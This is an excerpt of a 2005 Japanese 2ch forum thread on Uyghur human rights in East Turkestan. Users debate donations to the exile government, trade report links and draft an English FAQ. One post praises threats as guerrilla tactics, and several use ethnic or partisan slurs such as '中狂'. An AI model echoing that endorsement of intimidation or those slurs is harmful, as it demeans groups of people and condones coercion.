あ......そ、そうでした。真澄サマ… orz

青い薔薇のeps、いただきました。ありがとうございます。
生成りの生地に映えそうです。てろんとしたお買い物バックとか、よさげなり。

パーカの背中にプリントしたら、とてもイイと思いますよ。
そんなに甘いモチーフじゃないし、色味がキレイなので、
黒、濃紺、緑、キャメルの生地にピッタリかと。

294 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 23:03:33 ID:iSIFdJKo0
>>245

>2ちゃんねら気質を考えるともっと豆に公表したほうが募金増えると思うのだが。
>特に使い道については細かくして欲しい。

これについての回答がきました。


義捐金を一ヶ月に一回発表しましょう。それは寄付した皆さんも落ち着くし、他
の皆さんも安心して集まるでしょうなら。OKです。


295 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 23:09:08 ID:iSIFdJKo0
>>287
中国の力が大きくなると、亡命者達の立場はどんどん悪化していく、という焦りがわかりますよね。
ウイグル太郎さんの個人的な話を聞くと、現実に起きていることなんだなということが、あらためて思い知らされます。
日本も損得勘定だけでなく、もっと大義名分のために行動を起こしても良いのにな、と歯がゆく感じます。

296 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 23:12:02 ID:hqvr3HEY0
>>294
ここで義捐金の話だすなって
↓の掲示板だそうだ

280 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2005/10/22(土) 19:02:24 ID:XrAEvIiB0
なんっつーか久弥スパイラルだな。

>>277
藻前さんの書き込みはちとアレ過ぎる用に思う。
募金関係の議論がしたいなら
http://plasticdreams.tm.land.to/bbs/
こっち行ってやってくれ。

297 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 23:52:30 ID:ZHs0oP/D0
>>294
あーそりゃナイスアイディア
個人的には使い道の細かい報告はどうでもいいけど、あって困るものでもない

298 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 23:54:34 ID:TTXdctEF0
支援age

299 :以下、名無しにかわりましてVIPがお送りします:2005/10/22(土) 23:56:17 ID:XrAEvIiB0
保守

>>296
直接ウイグル太郎さんなどと連絡を取って頂いている方の書き込みみたいなので
議論とはちょっと違うと思います。


300 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:04:02 ID:kfA75bqR0
>>299
このスレでの報告はいらない。

301 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:09:29 ID:yvzocwgY0
>>300
報告すら必要でないかどうかを
http://plasticdreams.tm.land.to/bbs/
で議論してはいかが?

302 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:16:13 ID:kfA75bqR0
>>301
このスレ自体の存在意義が独立運動とは異なるととまとめサイトでも謳ってるはず。
亡命政府はへの寄付は独立支援活動にもつながりかねない。
このスレ荒らしたいのか?

久弥スパイラルしたいのか?

303 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:17:43 ID:kfA75bqR0
>>302
テレビ見ながらうってたら、接続詞おかしくなっちゃった。

304 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:22:26 ID:Ox/G0lVF0
ウイグル太郎からのメールの返事は見たいから
おれとしてはこのスレで報告してもらいたい。
つーか、そもそも「募金したい」ってのはねらーの要求じゃなかった?

305 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:24:29 ID:KEXsmN4w0
>>304その言い方は危険だよ。
「2chの意見」なんて実在しないんだから

306 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:29:09 ID:kfA75bqR0
>>304
少なくともこのスレの総意ではないよ。

荒れるのは嫌だ。
頼むから金の話は別のスレ、掲示板でしてくれ。
いちいちこっちへ報告されて支援スレと思われるのも困りもの。

ただ亡命政府とはまったく無関係に
この弾圧を知らしめるためにこの2chスレ独自の作戦を立てその為の基金募ってというのであれば話は別。
個人的には規格さえあればこういった形で金を出すほうが面白いと思う。


307 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:30:47 ID:kfA75bqR0
>>306
て・い・せ・いだお。orz

規格→企画

308 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:31:36 ID:YiOEdYu50
>>292
>>293  お・おまいら シロイズミ組 のもんか?


309 :304:2005/10/23(日) 00:34:43 ID:DoEjivwe0
>>305-306

あくまでも「おれの意見」だよ。
君の書き込みが「君の意見」であるように。

で、おれはウイグル太郎のメールを見るのが
けっこう興味深い。

310 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:42:09 ID:PWc+0bcP0
ちょっとこのスレから離れていたせいか、スタンスが分からなくなった…

誰か説明plz

311 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:42:11 ID:qspgRLAH0
当事者側の人間の声をシカトするというのも、
ちょっと複雑な気分ではある。
お金が絡むと、難しいね。

312 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:42:59 ID:YiOEdYu50
http://www.tibethouse.jp/news_release/2005/051014_giren.html ←チベット亡命政府公式サイトより

「チベット問題を考える議員連盟」の新代表に枝野幸男衆議院議員
2005年10月14日 ダライ・ラマ法王日本代表部事務所
日本の超党派の国会議員で構成される「チベット問題を考える議員連盟」の新しい代表に、
民主党の枝野幸男衆議院議員が任命されました。
これまで代表を務めた前衆議院議員の牧野聖修氏は、枝野幸男衆議院議員のコーディネーターとして
外部で引き続きチベット問題に協力することを承諾されました。

以上の内容は、昨日(10月13日)、ダライ・ラマ法王日本代表部事務所のチョペ・ペルジョル・ツェリン代表と
枝野幸男衆議院議員、牧野聖修氏、他関係者を含むミーティングで決定されたものです。

枝野幸男衆議院議員は、民主党の国会議員として、
1997年、牧野聖修氏らと共に五名の国会議員と「チベット問題を考える議員連盟」代表の一員として、ダラムサラを訪問されています。

枝野幸男衆議院議員のホームページ http://www.edano.gr.jp/

ちょいとこれから調べます。(^・・^)ノ

313 :fjell:2005/10/23(日) 00:47:44 ID:IUJqz8bj0
>>295
難民問題というと、仕方ないことなんですが、アフリカや中東の紛争地域が優先されるようです。
これらの国は、緊急度が高いので、ホントに仕方ないことだとは思いますが。。

ただ、政治亡命、政治難民の受け入れには、色々と国際問題に絡む恐れがあるので、
積極的な受け入れが行われていない面もあると思います。

が、そもそもスーダンのチャドで大規模な難民が発生した理由のひとつは、
中国が石油利権を得るために、イスラム系独裁軍事政権に対して裏から資金援助したからだろーが!!

アフガニスタンで、タリバン政権と統一戦線の両陣営に大量の銃器をばら撒いて、地雷を埋めて回らせたのは中国だろーが!!
(注:中国だけじゃありませんが、両陣営を手玉にとっていたのは、中国様だけのようです)

石油と天然資源を狙い、金と火器をばら撒いて、安い中国製の物資で他国の市場を荒らす。

そりゃ、ほかの国だって帝国主義で植民地政策とかやってきましたよ。
ロシアだって、民族の強制移住とか、チェチェン人をテロリスト呼ばわりとかしてますよ。
中国がこのままの路線を推し進めるならば、間違いなく地球が食いつぶされる。

あー、むかむかしてきた。

日本アムネスティ 2004年7月のニュースリリースです。ご参考まで(既出?)。
「中国:ウイグル人難民が強制送還で「反テロ」の拷問や処刑に晒される」
http://www.incl.ne.jp/ktrs/aijapan/2004/0407070.htm


314 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:57:22 ID:ci7ZvSzi0
>>310
スタンスなんてないよ。
電凸スレと同じで、意思の統一は必要ない
てゆーか無理。

315 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 00:59:18 ID:KEXsmN4w0
とりあえず、募金のことは保留で行きましょう。他にもできることはあるんだし。

316 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 01:07:23 ID:Gb03QUlO0
>>315
別に、募金したい人はすればいいと思うが。
「〜は禁止」っ流れになるのが一番いやだ。

317 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 01:31:53 ID:PGnjnasV0
afwe

318 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 01:45:14 ID:kfA75bqR0
>>316
でもこのスレは独立運動に加担しないが原則。

319 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 01:51:36 ID:YiOEdYu50
>>313
当時の国連高等難民弁務官 緒方おばさまの気持ちになれた?・・・・辛い仕事だと思うあれは。

目の前に、飢えて干からびて命を終えてゆく人を前に、いたたまれない気持ちにならない人なんかいないからな。

実は、ユニセフとのつきあい(募金)をしてて今は、アフリカへのORS(経口補水液)一杯あたり七円
これを作るお願いレターがきてるよ。
レターによれば、三千円で409人の命が助かるとメモがついてる。
いたたまれないよ。

320 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 01:52:42 ID:b+QD5XzA0
俺は反中狂のウイグル組織を支持するよ。
別に何も活動して無くても、存在自体が中狂にとって脅威だしな。
各国に対中人権カードを提供している、結果的に。
実際に宣戦布告してる連中もいるし。
脅迫はゲリラ戦の基本だ。
もっと煽れば、万博や五輪は中止に追い込まれるんじゃないか?
俺は東トが独立したらいいと思う、中狂は資源不足に拍車がかかるだろうな。
日本と東トは利害関係で一致することが多い。



321 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 01:53:06 ID:E7j1Zo1x0
>>294
報告のペースはともかく、公式ページと掲示板の両方に公開したほうがいいとおもう。
掲示板だけだとうそ臭くなるからね。面倒なら公式ページの方だけって事で。

322 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 01:55:53 ID:b+QD5XzA0
>>318
>独立運動に加担しないが原則。

2chにはいろいろな人がいるよ、
その「原則」は君の原則なだけだよ。
各人の裁量を尊重しようよ。

323 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 01:58:50 ID:kfA75bqR0
募金の話は荒れるので↓で
ただしこのスレとは関係ない。

http://plasticdreams.tm.land.to/bbs/
もしくは
http://news18.2ch.net/test/read.cgi/news4plus/1128176349/



324 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:01:08 ID:dnq10lzgO
ユニセフや地震の募金箱を目にしたら、必ず入れるようになった。
盲導犬やら障害者関係はあまり入れないけど…。
やはり生死の極限にいる者の訴えは何か無視できない…。

325 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:01:38 ID:kfA75bqR0
>>322
まとめサイトにも大文字で記載してある。
このスレはそういう流れでここまできた。

>>277

326 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:03:01 ID:KEXsmN4w0
>>322原則と意見はちがうよ。各自の自由といっても、スレのコンセプトみたいなものはある。
自由だからってここでノマ猫問題やってもしかたないでしょ?
だからここでできるのは概論だけで、独立運動を支持するかどうか、とか募金どうするかっていう各論は
会議室でしましょうや。まずはこの問題を広く知ってもらうことでしょ?

327 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:09:27 ID:e4ce2B4G0
>>325

>>277は、あんたの書き込みだろ。
あんたはやたらとETCの募金に反対してるよね。
この議題は、ひたすらループしてる。
「募金したい人はする、したくない人はしない」
これでいいんじゃないか?

328 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:11:11 ID:KEXsmN4w0
>>327
そこで、「積極的に宣伝するかそうでないかが別れてるんでしょ?

329 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:13:44 ID:e4ce2B4G0
>>328
だから宣伝なんてしてないだろ
募金したい人が、してるだけ。

330 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:14:17 ID:E7j1Zo1x0
そういえばグアンタナモ基地に収監されていたウイグル人のタリバンはどこにいるんだろう。
たしかどの国も引き取り手がなくて困ってたけど結局アメリカが引き取るかもしれないって
話までは読んだ気がするが、タリバンになったからにはアメリカでのんびり休暇を
決め込んでる訳ないはずだ。

東トルキスタン亡命政府の支援の面ではアメリカが非常にうらやましいよ。これで人材面の支援が
出来たわけだし、アメリカでの活動拠点も提供してるし、逃げ込む場所にもなったわけだ。
ん?ところで英語圏の民間人レベルで募金活動したり支援してる人々はいないのだろうか。

331 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:15:05 ID:kfA75bqR0
>>327
じゃあテロ支援したいって奴が出てきたらなんて答えるね。
俺には許容できないよ。
それじゃ、またまたループかい?

国際的にも認められているような全く別の組織なら問題ないと思う。
とにかくここは弾圧を知らしめる為として洗練されていったスレなんだよ。

332 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:20:32 ID:e4ce2B4G0
>>331
>じゃあテロ支援したいって奴が出てきたらなんて答えるね。
そんな奴いたか?
>俺には許容できないよ。
だったら反論すればいい、
ただ「テロ支援したい」って奴を説得できるかは別問題だけどな。

>とにかくここは弾圧を知らしめる為として洗練されていったスレなんだよ。
俺もそう思うが、これはあんたの意見に過ぎない、そう思ってない奴もいると思うよ。

333 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:35:05 ID:KEXsmN4w0
いると思うよ、といわれてもなあ。
基本的には宣伝することをメインにするのが一番効果的だということは言えるだろうし。
とりあえず保守

334 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:42:04 ID:kfA75bqR0
>>332
逆にチベット・ウイグルの弾圧に対し「中国武力抵抗も止む無し。」って考えの奴探せばいくらでもいると思うぞ。

「独立を支援するのではない」ってのはこのスレの重要なポイントなんだ。
すべての考えを許容してたらスレ荒れるだろ。
だからこそある程度の秩序保つという意味でも、2chにはスレ立てる仕組みができるてるんじゃないか。




335 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 02:45:35 ID:Qx/UJgvg0
>>334
だからさ、いろいろな考えの人がいていいだろ。
「自分の考え以外の支援は認められない」って言うのなら、
空気読んだり、別スレに行くのは君のほうじゃないか?

336 :fjell:2005/10/23(日) 02:54:52 ID:IUJqz8bj0
>>330 アメリカには、ウイグル-アメリカ協会があるようです。
Uyghur American Assosiation(UAA)
http://www.uyghuramerican.org/

>>330
>そういえばグアンタナモ基地に収監されていたウイグル人のタリバンはどこにいるんだろう。
あ、まだ基地の中のはず…
http://kok2.no-blog.jp/tengri/2005/08/post_8b37_1.html

>>331
>国際的にも認められているような全く別の組織なら問題ないと思う。

まったく別の組織とは、国連とかアムネスティとかでしょか?
いくつもの国際人権NGOが、1999年前後から活発に東トルキスタン問題に取り組んではいるのですが、
2004年以降、あまり目新しい動きがないんですよね…
なんでだろーと、つらつら考える今日この頃。。
イスラム教徒だから? 中国様が怖いから?

>>308 亀レス。どき☆

337 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 03:00:10 ID:TlPEo3gc0
>>336
まあ、結局は国家のパワーバランスなんでしょうね。
理念どおりに国連が機能してたら、どんなにいいことでしょうか・・・

338 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 03:00:23 ID:kfA75bqR0
>>335
> 「自分の考え以外の支援は認められない」

勝手に自分の考えと決め付けるなよ。
独立は支援しないというのはこのスレの方針だよ。
まとめサイトみたか?

いろんな考えの人がいても良いか?悪いか?
と問われれば強制できるはずもない。良いに決まっている。

ただこのスレは独立支援しないというスローガンでここまでやってきた
その成り立ちを考えれば亡命政府への直接支援は荒れる要因となるのも理解し欲しい。

荒れるのは嫌なんだ。

339 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 03:05:49 ID:jLlLuqUG0
>>338
>荒れるのは嫌なんだ。

俺もそう思ってるよ、本当にね。
繰り返しになるけどさ、各人の自由を尊重しようよ。

>ただこのスレは独立支援しないというスローガンでここまでやってきた
君は、そう思うんだろ。
だったらそれでいいよ。
ただ、違う考えの人もいるよ、といいたいだけ。

340 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 03:09:40 ID:KEXsmN4w0
>>339スローガンって、人によって違うものなのかね?
正直あなたが何にこだわっているのか分かりづらいのですが、
「募金をするのは自由だ」と、いうことでしょうか?
であれば、もちろん自由です。


341 :ウイグル太郎:2005/10/23(日) 03:13:26 ID:VPzT0EAY0
>179
>ところでウイグル太郎っていくつくらいの人なの?
ウイグル太郎は大人で、当てたのは近づいています。
しかし、ホメイニさんほどおじさんじゃないよ。
メールアドレスと電話番号を教えて頂ければ、写真を送ってあげます(^。^)



342 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 03:14:19 ID:jLlLuqUG0
http://oshida.exblog.jp/
http://kok2.no-blog.jp/tengri/

例えば上記のブログを見て欲しい、実に対照的だ。
どちらが正しいのか?
「正しい」とか言う問題ではないよな。
俺らは東ト人ではない、あくまでも東トの未来は東ト人が決めるべきだ。
だから「東ト人組織に寄付するな」ってのは、きわめて僭越だと思うよ。

343 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 03:17:33 ID:jLlLuqUG0
>>340
>「募金をするのは自由だ」と、いうことでしょうか?

そのとおりです。
俺から見ればなぜ君が、そこまで募金禁止にこだわるのか理解できない。
もう結論が出たからやめよう、お互いに「荒れたくない」というのは共通なのだから。

344 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 03:19:39 ID:KEXsmN4w0
>>343禁止ということは私は一言も言っていませんが、この辺で切りましょう。

345 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 03:22:24 ID:XIdqrSzA0
>>341
お、ウイグル太郎さん今晩は。
トルコと日本はだいぶ時差がありそうですね。
日本は今、真夜中です。
季節的にとても寒くなってきました。

346 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 03:40:01 ID:YiOEdYu50
>>336
<DT>HRIC SPECIAL REPORT 115 HUMAN RIGHTS WATCH, VOL. 17, NO. 2(C)</DT>
<DD>TYPE:PDF  Devastating Blows Religious Repression of Uighurs in Xinjiang</DD>

<DT>The European Policy in Central Asia</DT>
<DD>TYPE:PDF  The Trends of Xinjiang Uygurs and its influence on the Central Asia Development by Fu, Jen Kun</DD>

<DT>CONGRESSIONAL-EXECUTIVE COMMISSION ON CHINA ANNUAL REPORT 2005</DT>
<DD>TYPE:PDF  ONE HUNDRED NINTH CONGRESSFIRST SESSION OCTOBER 11, 2005</DD>

<DT> Communist China's Policy of opression in EAST TURKESTAN by HARNYAHYA</DT>

<DD>本名アドナーン・オクタル。1956年、トルコのアンカラ。
詳細は→http://alianisa.hp.infoseek.co.jp/biodata-harunyahya.htm<br> e_trukestan_1st_vrs.pdf</DD>

以上の文書DLして持ってますが、シロ組のfjiell氏は、他のソース何かある?リスト作ってんでこれ以外のがあれば

情報キボン(☆り?ん組ヨリ☆)

347 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 03:41:53 ID:aWzNyJCN0
>>341
ちょwwwおまwwwww

ご本人…ですか?

348 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 04:10:36 ID:aWzNyJCN0
保守がてらネタを一つ。
国連の人権に関するドキュメントの中に「東トルキスタン」関連の物が有りますが、これって既出なんでしょうか?
ttp://ap.ohchr.org/documents/dpage_e.aspx?c=39&su=49
(上から二列目、18/03/2005のデータです)

お恥ずかしい話ですが、私の稚拙な英語力では内容を理解するのに数週間かかりそうです。
英語が堪能な方がいらっしゃいましたら、どなたか内容をご説明いただけないでしょうか?

349 :fjell:2005/10/23(日) 04:11:04 ID:IUJqz8bj0
>>346

既出ですが、UNPO(国際機関に代表権を持たない国や人民のための機関)にも東トル問題のレポートがあります。
ただ、今webサイトがつながらないみたいだけど。
覚えやすい機関名のはずなのに、なぜかPをKと間違えて覚えていた自分にorz

キャッシュしか残っていませんが、YBBS掲示板の東トル会議室
http://66.102.7.104/search?q=cache:dlmL-CsLTSwJ:ybbs.data-room.info/0200/0052/00000198.htm+unpo+east&hl=ja&lr=lang_ja
参考資料とか転がっていそうです。

今めっけた論文
America’s Influence on Uighur Human Rights
http://www.amherst.edu/magazine/issues/04spring/over_there/AlexandraBloom.pdf
文献が多数掲載されています。

あとは…目についたのを片っ端からスレに貼り付けているだけなので、
記録がありません。。 ミラー2の管理者さんが、すでに資料室に加えてくれているかも。

>>341
いらっしゃいませー。 まぁ、お茶でも つ旦

350 :fjell:2005/10/23(日) 04:14:47 ID:IUJqz8bj0
>>348
あれ。それは、この文書だったと思います。
http://plasticdreams.tm.land.to/?%C3%E6%B2%DA%BF%CD%CC%B1%B6%A6%CF%C2%B9%F1%A1%A2%BF%B7%E1%C5%A5%A6%A5%A4%A5%B0%A5%EB%BC%AB%BC%A3%B6%E8%A4%CE%BE%F5%B6%B7

ノシ



351 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 04:25:03 ID:aWzNyJCN0
>>350
うはぁ、思いっきり既出でしたね。失礼いたしました。
誘導有難うございます、熟読いたします。

352 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 05:17:38 ID:aWzNyJCN0
お休み前の保守

353 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 05:17:52 ID:YiOEdYu50
http://forum.japantoday.com/ らすと、このサイトも英語で議論できるやしは宣伝できる(要登録)

News, Politics and Issues
Japan-related news and issues. Please see sub-forums for global issues.
Moderators Moderators 〜 という板?コーナーがあってギラギラとしたやり取りをしてます。外出後容赦汁 ノシ


354 :うっかりわすれちった:2005/10/23(日) 05:24:24 ID:YiOEdYu50
349 fjell氏d玖珠 編むはーストの引用文献参考になりますた

355 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 06:36:56 ID:qspgRLAH0
支援age!

356 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 08:14:18 ID:aWzNyJCN0
おはよう保守

357 :信長のやぼんぬ ◆bNgMtvR8pc :2005/10/23(日) 08:23:32 ID:ejBuZMYSO
右派のマスコミってどこがある?

358 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 09:11:40 ID:aWzNyJCN0
>>357
ご存知かとは思いますが…
右かどうかはさて置き、産経は過去に「正論」でウイグルについて取り扱った事がありますよ。
もしかすると、この件に関しては比較的足が軽いかもしれませんね。

359 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 10:00:11 ID:qspgRLAH0
頂!

360 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 11:28:34 ID:ibytkOea0
頂!

361 :たらこ@まとめ2:2005/10/23(日) 11:33:28 ID:HirlTOV50
携帯用のQ&Aだけできたのでご報告。
http://taraco.plasticdreams.org/plet/

トップの画像は >249 の名も無き兵士@電網遊撃隊 ◆mmYBMTf0Vk氏の作品に
差し替えました。多謝。
あと,リンクページはこれから作ります。

362 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 12:12:32 ID:hZeH9sfE0
学校名は明かせませんが、自分がホームルームで言った東トルキスタンのことが
担任の先生から他の学校にも伝わったかもしれません。。
別の学校のことですが、毎年姉妹校の提携について話し合いがあるらしいのですが、
新疆ウイグル自治区の学校は姉妹校の候補から外されるだろうということを聞きました。
話の流れとか詳しく知らないので、詳しく話を聞いて調べてみたいと思います。
しばらく様子を見て何か変化があったらまた書き込みます。

363 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 13:37:40 ID:O1fZqH7V0
支援AGE


364 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 13:58:46 ID:AXBoIuJG0
捕手

365 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 14:06:46 ID:1h39WeYy0 ?#
>>362
GJ!

366 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 14:40:01 ID:O1fZqH7V0
>>362
どのような意図があって姉妹校の候補か外されたのか気になるところですね。
頑張ってください

367 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 15:06:10 ID:O1fZqH7V0
保守であります

368 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 15:34:40 ID:C0R3Qr/p0
>>362
がんばれ!

369 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 15:52:58 ID:yvzocwgY0
>>361
お疲れ様です。
がんばってください。

370 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 16:03:12 ID:ZGTEJhB+0
>>366
そのとおりだと思う。中国政府監視下の姉妹校提携であることは間違いない。
先生方が親中を目的として提携先を探しているなら東トルキスタンの惨状に関心を持つ
学生が出てきたことは自分たちの立場に危機感を覚えるかもしれない

371 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 16:45:21 ID:O1fZqH7V0
支援age

372 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 17:26:33 ID:O1fZqH7V0
支援デスヨー

373 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 18:10:06 ID:rrQ1ZItO0
支援頂!

374 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 18:20:28 ID:BCukDxmM0
>>370
日教組どっぷりの教師って、東トル問題にどう反応するんだろう?
アカの大好きな人権だの民族弾圧だのを持ち出せば
表立って中国擁護はできないと思うのだが。
それとも中国の侵略は良い侵略式の答えが返ってくるのかな。

375 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 18:59:50 ID:O1fZqH7V0
>>374
東トの事を無視して日帝が侵略〜に話を摩り替えると思われ。
てかどっぷり日教組の先生に授業大学の教わったことあるけど
授業中にイラク派遣反対、9条改定反対のビラ配っておりました。>大学

376 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 19:24:55 ID:MwhohksU0
頂!

377 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 19:36:01 ID:KEXsmN4w0
頂!

378 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 19:54:47 ID:dDJ4oiBy0
保守!!

379 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 20:30:52 ID:IUJqz8bj0
hoshu

東トルキスタン独立記念行事
大阪11月12日
東京11月13日
http://uygur.fc2web.com/uygur12_13.html

380 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 20:39:56 ID:O1fZqH7V0
記念行事ですかっ!
スレのOFF会みたいなのも一緒にできないかな。
とりあえず参加したいな。

381 :fjell:2005/10/23(日) 21:12:13 ID:IUJqz8bj0
FAQ 英語版の Q3(日本語版Q4に相当)です。校正よろ
---
Q.3 It is told that members of East Turkistan government in Exile it true are terrorists…
A. ABUSOLUTELY NO. The government in Exile of East Turkistan has a basic philosophy of establishment
of an independent democratic, liberal and multiethnic state, although the Chinese communist party
has been labeled them as Islamic militant or extreme radicals.
Note: We supporters scope is to appeal human rights issue in East Turkistan,
not to step deeply into national or international political subjects.

382 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 21:35:05 ID:O1fZqH7V0
支援age!

>381
乙であります!

383 :たらこ@まとめ2:2005/10/23(日) 22:08:51 ID:HirlTOV50
>fjell 乙です。更新しますた
Q.3 It is told that を
Q.3 They say that ではどうなんだろ? 口語っぽいかな
英文を全然使ってないせいか英語勘がもどんねー (; ´Д`)

384 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 22:41:14 ID:rrQ1ZItO0
支援頂!

385 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 22:43:27 ID:FmojFx820
http://earth.google.com/

お前ら!Google Earthで遊ぼうぜ

386 :以下、名無しにかわりましてVIPがお送りします:2005/10/23(日) 22:44:41 ID:hoIWeHAe0
438 :実名攻撃大好きKITTY:2005/10/23(日) 21:38:45 ID:y2dmFfNp
>>4372chはキモオタばっかだからなwwwwそれが正常

459 :実名攻撃大好きKITTY:2005/10/23(日) 21:52:47 ID:y2dmFfNp
 VIP=精神障害者の集団

512 :さくらんぼ :2005/10/23(日) 22:29:01 ID:7kSGfovQ
ワロスとか意味わからない言語を吐いてる2局系民族の分際で生意気いうな


555 :さくらんぼ :2005/10/23(日) 22:41:31 ID:7kSGfovQ
知ってるかお前らVIPPERの七割は精神状態まともじゃないんだぜ


http://school5.2ch.net/test/read.cgi/ojyuken/1126486447/l50
お願いです。
この子達に正しい2chの使い方を教えてやってください。
見てられません。


387 :fjell:2005/10/23(日) 22:51:31 ID:IUJqz8bj0
>>383 あ、"They say" の方がいいですね。Danke!
わたしもネイティブじゃないんで、自信ないっす。適宜修正してくださいませ。
(あt、Q3のQにある "it true" は削除ミス..)

Q4(日本語版Q5相当)です
---
Q.4 Is that the really the case, millions of Uyghur victims?
A. Difficult to confirm, but could be conceivable and credible.
Because the situation, Xinjiang Uyghur Autonomous Region has been totally
under control of Chinese government so far, it is almost impossible
to figure out actual numbers of victims or to obtain sufficient reliable sources.
Some of statistics regarding this area have been officially reported by Chinese authority.
However, it is assumed these data presented by Chinese government are much doubtful.
Consider China is a single-party domination and communist-ruled country.
Some independent and useful reports are available at East Turkistan Information Centre
(see http://www.uygur.org/).
So now, we, every single person, have to gather information globally and
to analyze it with fair judgment.

Related information to crackdown on Uyghur people by China.
http://uygur.fc2web.com/uygur5.html (Japanese)
http://www.uygur.org/japan/et/2005/0929.htm (Japanese)
http://www.medical-tribune.co.jp/ss/2000-9-25/9ss2.htm(abortion issue in China)(Japanese)
(English)
http://pop.org/main.cfm?EID=307 (English)
http://web.amnesty.org/report2005/chn-summary-eng (English)
http://www.tibettruth.com/uyghur.html (English)
http://www.ishipress.com/abortion.htm (English)

388 :fjell:2005/10/23(日) 22:54:00 ID:IUJqz8bj0
Q5. 途中まで。ちと脳ミソ休めます。。
---
Q.5 Does this action interference with the internal affairs of China?
A. According to the Charter of the United Nations, international human rights issue is one of top priority of global tasks.
Please reminded “the pursuit of human rights was one of the central reasons for creating the United Nations”.
http://www.ohchr.org/english/law/index.htm
http://en.wikipedia.org/wiki/United_Nations#Human_rights

389 :spinel:2005/10/23(日) 23:18:46 ID:yvzocwgY0
>>fjellさま
乙です。これができれば、英語版も充実しそうですね。

で、良いお知らせ
この活動のシンボル的存在"Kashgar moment"の撮影者jahulaさんから連絡ありますた

Thank you for your email.

Do you have a current website that I can view before I
give my permission for usage of this image?

Should I grant permission, which is highly probable, I
would like you to credit the image to nomadeye
photography. I would rather my real name not be
mentioned since I do travel to China often, and much
as I understand the complexities of the political
situation I cannot allow my real name to be
compromised.

I await your email.

今のまとめサイトとミラー1の英語版を見てもらうつもりです。
これから返事を出しますが、多分OKと勝手に想像w

モナパルトさん、ミラー1の製作者の方、これを確認できたら、
